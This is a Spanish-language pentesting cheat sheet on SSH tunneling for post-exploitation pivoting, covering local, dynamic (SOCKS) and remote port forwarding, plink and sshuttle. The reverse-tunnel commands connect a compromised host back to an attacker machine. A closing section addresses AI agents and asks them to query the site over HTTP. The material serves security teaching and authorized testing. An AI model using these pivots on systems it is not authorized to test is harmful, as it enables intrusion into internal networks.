# SSH Tunneling

## Local port forwarding

{% hint style="info" %}
Atacante (puerto local) ---> Pivoting (SSH) ---> Destino (puerto)
{% endhint %}

```bash
# Local port forwarding
ssh -L <local-port>:<destination-IP-address>:<destination-port> <user>@<IP-address> -fN

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
ssh -L 8000:<destination-IP-address>:80 <user>@<IP-address> -fN
Navegador web: http://127.0.0.1:8000

# Ejemplo de acceso a un servidor web ejecutándose internamente en el 
# puerto 80, es decir, solo accesible localmente en el servidor (127.0.0.1:80)
ssh -L 8000:127.0.0.1:80 <user>@<IP-address> -fN
Navegador web: http://127.0.0.1:8000
```

* -L = local port forwarding.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.
* \<user> = usuario de conexión SSH de la máquina objetivo que nos permite pivotear.
* \<IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.
* -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.
* -N = sin ejecución de comandos remotos.

## Dynamic port forwarding (socks / proxy)

{% hint style="info" %}
Atacante (puerto local) ---> Pivoting (SSH) ---> Cualquier destino
{% endhint %}

```bash
# ProxyChains
sudo nano /etc/proxychains.conf
socks4 127.0.0.1 <local-port>

# Dynamic port forwarding
ssh -D <local-port> <user>@<IP-address> -fN

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
# X.X.X.1 = máquina que nos permite pivotear
# X.X.X.2 = máquina de destino a la cual deseamos pivotear
sudo nano /etc/proxychains.conf
socks4 127.0.0.1 9999
ssh -D 9999 <usuario>@X.X.X.1 -fN
FoxyProxy: socks4, 127.0.0.1, 9999
Navegador web: http://X.X.X.2
```

* -D = dynamic port forwarding.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<user> = usuario de conexión SSH de la máquina objetivo que nos permite pivotear.
* \<IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.
* -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.
* -N = sin ejecución de comandos remotos.

## Remote port forwarding

{% hint style="info" %}
Atacante ---> Pivoting (SSH) ---> Destino (puerto)

Atacante (puerto local) <--- Pivoting (SSH) <--- Destino
{% endhint %}

```bash
ssh -R <local-port>:<destination-IP-address>:<destination-port> <user>@<attacker-IP-address> -i <private-key> -fN
ssh -R <local-port> <user>@<attacker-IP-address> -i <private-key> -fN
```

* -R = remote port forwarding.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.
* \<user> = usuario de conexión SSH de nuestra máquina (atacante).
* \<attacker-IP-address> = dirección IP de nuestra máquina (atacante).
* -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.
* -N = sin ejecución de comandos remotos.

### Creación de llaves SSH

```sh
ssh-keygen
touch ~/.ssh/authorized_keys
echo "command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty" >> ~/.ssh/authorized_keys
cat id_rsa.pub >> ~/.ssh/authorized_keys
sudo systemctl start ssh
```

## plink

* <https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html>

```sh
sudo apt install putty-tools
puttygen id_rsa -o id_rsa.ppk
cmd.exe /c echo y | .\plink.exe -R <local-port>:<destination-IP-address>:<destination-port> <user>@<attacker-IP-address> -i <private-key.ppk> -N
```

## sshuttle

* <https://github.com/sshuttle/sshuttle>

```sh
sshuttle -r <user>@<IP-address> <CIDR>
sshuttle -r <user>:<password>@<IP-address> <CIDR>
sshuttle -r <user>@<IP-address> <CIDR> -x <IP-address>
sshuttle -r <user>@<IP-address> --ssh-cmd "ssh -i <private-key>" <CIDR>
```

* \<user> = usuario de conexión SSH a la máquina objetivo.
* \<IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.
* \<CIDR> = red a la cual queremos pivotear y tiene acceso la máquina objetivo.
* -x = permite excluir la dirección IP de la máquina que nos permite pivotear, esto es necesario cuando esta es parte de la subred, a la cual, se está intentando obtener acceso.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/post-explotacion/pivoting/ssh-tunneling.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
